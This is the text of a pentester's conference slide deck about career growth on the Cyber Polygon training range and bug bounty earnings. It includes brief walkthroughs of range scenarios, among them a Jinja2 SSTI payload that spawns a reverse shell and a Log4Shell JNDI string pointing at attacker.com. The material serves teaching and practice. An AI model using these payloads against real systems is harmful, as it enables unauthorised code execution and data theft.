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- Pentester at Kaspersky

- HackerU(CyberED) graduate 2022

- Standoff365 2024 Champion - VeeZy

- Certifications: OSCP, CRTO, BSCP, OSEP

- Public speaks: Standoff Talks, VolgaCTF

- Love to play basketball

/proc/self/fingerprint 

graduate
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Upgrade yourself
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Main segments

o Protocols: s7comm, 

modbus, omron

o Dlv, IDA, HxD

o Web server written in C

o Some crazy CTF that 

you want to forget as 

soon as possible

o Banking systems: 

ABS, DBO, ARM 

KBR

o SSTI(twice on the 

same host for 

better 

understanding, lol), 

Kubernetes, QR-

codes,  mobile 

application, Crypto 

Pro

o A lot of vendors 

software

o CI/CD, Domain 
Pwned(2 times), 
docker escapes

o Some strange 
stuff:Zabbix RCE(if 
you know you 
know), RCE in 
cookies in some 
web server 

o Scada password all 
over the hosts(8 
gigabytes RAM 
dump file included)

o Very different task 
with Scada – so nice

o Too much 
people(very funny)



All around skills making

Conclusion
Infrastructure*

Internal

pentest

Phishing

Web 

pentest

* - https://www.youtube.com/watch?v=gW7rMZ6Dl_A&list=PL5oxkq2PgCWGmM_XKg-
RVw49GkCLVJT82&index=13

Reverse 

engineering

Work

with

documentation

Perseverance

Kubernetes, 

Docker



Why this is so important?

Money
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How being at the top of the platform 

will help you handle this injustice?
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It does not matter how slowly you 

moving forward — the important 

thing is that you do not stop. 
Bruce Lee

Viktor Zvarykin - Cyber Polygon: Career Development 

 



The look you give your friends who said you wouldn’t earn anything from that 

- then you get an offer that X3 times bigger than your current salary
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You just a junior pentester

with 100k salary

• 100 * 12 = 1.2m

• 300 * 12 = 3.6m

• 3.6 – 1.2 = 2.4m(profit)

Simple math

In 2024, 16 bughunters managed to earn 

more that 1 million rubles, three 

researchers earned more than 7 million*

* - https://ptsecurity.com/ru-ru/research/analytics/itogi-raboty-platformy-

standoff-bug-bounty-na-noyabr-2024-goda/#id6

4.03m(profit)

Cyber Polygon BugBounty



Conclusions

• If you don't receive award immediately that doesn’t 

mean you don’t get it later

• Do what you want even some of your friend don’t 

believe in you

• Play with passion, not for the money but for new 

experience

instantly
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Non-public critical events
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Global Digital Bank client data leak

Viktor Zvarykin - Cyber Polygon: Career Development 

 



The face you make when you publish write-up to 

most beautiful critical even and it doesn’t work
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Non-public critical events
Global Digital Bank client data leak

https://podalirius.net/en/articles/python-vulnerabilities-code-execution-in-jinja-templates/
https://habr.com/ru/companies/bizone/articles/896556/
https://habr.com/ru/companies/jetinfosystems/articles/795247/

Preview about host:

• Web site can go down for 5-10 minutes with no reason;

• Weirdest WAF: blocks all Linux commands(ls,tr,su and so on).

Create payload step by step:

• cycler – Every Jinja2 template context includes a cycler() function. Here we grab that function object itself;

• __init__ – Every python function object has a __init__ attribute(constructor);

• __builtins__ – Inside that function object we can find all Python built-ins(len,dict, __import__);

• __import__ – Dynamically imports the standard OS module, just as if we’d written import os in Python code;

• .popen('ID'.lower()) – launches a subprocess running the given command and convert the string “ID” to bypass 

filters that look for the literal substring “id”;

• .read() – reads the subprocess’s stdout.

Bottom line:

cycler → __init__ → __builtins__ → __import__('os') → popen(‘ID’.lower()) → read()

and so on



Global Digital Bank client data leak

Final Payload
{{ cycler.__init__.__builtins__.__import__('os’).system(‘./your_shell.py’.lower())}}

Successfully get a reverse shell
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Global Digital Bank client data leak
Postgres SQL RCE
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Global Digital Bank client data leak
Find images
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Global Digital Bank client data leak
Download and parse all images

https://github.com/Syzik/DockerRegistryGrabber

Find the right one



Global Digital Bank client data leak
Get creds with IDA



Global Digital Bank client data leak
Final step

Connect to Postgres database

Get access to clients information
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Non-public critical events
Energy segment most rare risks
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Tampering of wind turbine data

First option (hard)

Change config files
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Tampering of wind turbine data

First option (hard)

Change config files
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Tampering of wind turbine data

Second option (easy)
LOTL

Viktor Zvarykin - Cyber Polygon: Career Development 

 



Tampering of hydroelectric plant data

HxD manual
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Tampering of hydroelectric plant data

Looks like the same way like wind turbines(not so fast)
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Tampering of hydroelectric plant data
Go deep into config files
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Tampering of hydroelectric plant data
We can do whatever we want
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Tampering of hydroelectric plant data
Change data
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Tampering of hydroelectric plant data
GG
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Withdrawal of funds from bank account through ARM KBR
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Withdrawal of funds from bank account through ARM KBR

https://habr.com/ru/articles/345194/



Withdrawal of funds from bank account through ARM KBR
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Withdrawal of funds from bank account through ARM KBR
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Withdrawal of funds from bank account through ARM KBR
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Withdrawal of funds from bank account through ARM KBR

GG
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Withdrawal of funds from bank account through ARM KBR

P.S.



Some tricks from cyber polygon
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Web vulnerabilities points

Host is out of scope

Host is in scope
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Keyloggers

Lazy life(funny, but not recommended)

Powershell history

Reverse shells from other players

Viktor Zvarykin - Cyber Polygon: Career Development 

 



Steal flags (dirty, funny, do not try this at home)
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Secret critical event(not really, just too old)

Bank admin panel in netfusion sector?
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Log4j Theory Quick Reminder

Continue

CVE-2021-44228 (Log4Shell) — key facts

What is it? A critical remote-code-execution (RCE) vulnerability in Apache Log4j 2 (versions 2.0-beta9 

through 2.14.1), publicly disclosed on 9 December 2021.

How the bug works. When Log4j processes a string such as: 

${jndi:ldap://attacker.com/VolgaCTF}

It performs a JNDI (Java Naming and Directory Interface) lookup for LDAP catalogs. If the LDAP server 

returns a reference to a remote Java class, the JVM can download and execute that class, giving the 

attacker arbitrary code execution on the vulnerable server.

Why it works

• In Log4j 2 up to (and including) version 2.15.0, message-lookup substitution is enabled by default, so 

the parser scans every log entry for ${…} patterns.

• JNDI by default permits remote class loading when the JDK is older than 8u191 / 11.0.2.

• Result: a single crafted log line can yield unauthenticated RCE.

${…} patterns. 
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Log4j Exploitation

Continue
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Continue
Dump and parse data
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Access to credit cards with cvv

Finish
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Community impact
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You will make a lot of friends
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Self-made
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Self-made part2(never enough)
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Give it back



References

Bagley 

Standoff365 2023 champion

https://t.me/bagl3y_notes 
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References
Purple Shift
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Questions

Kaspersky



The end

Kaspersky
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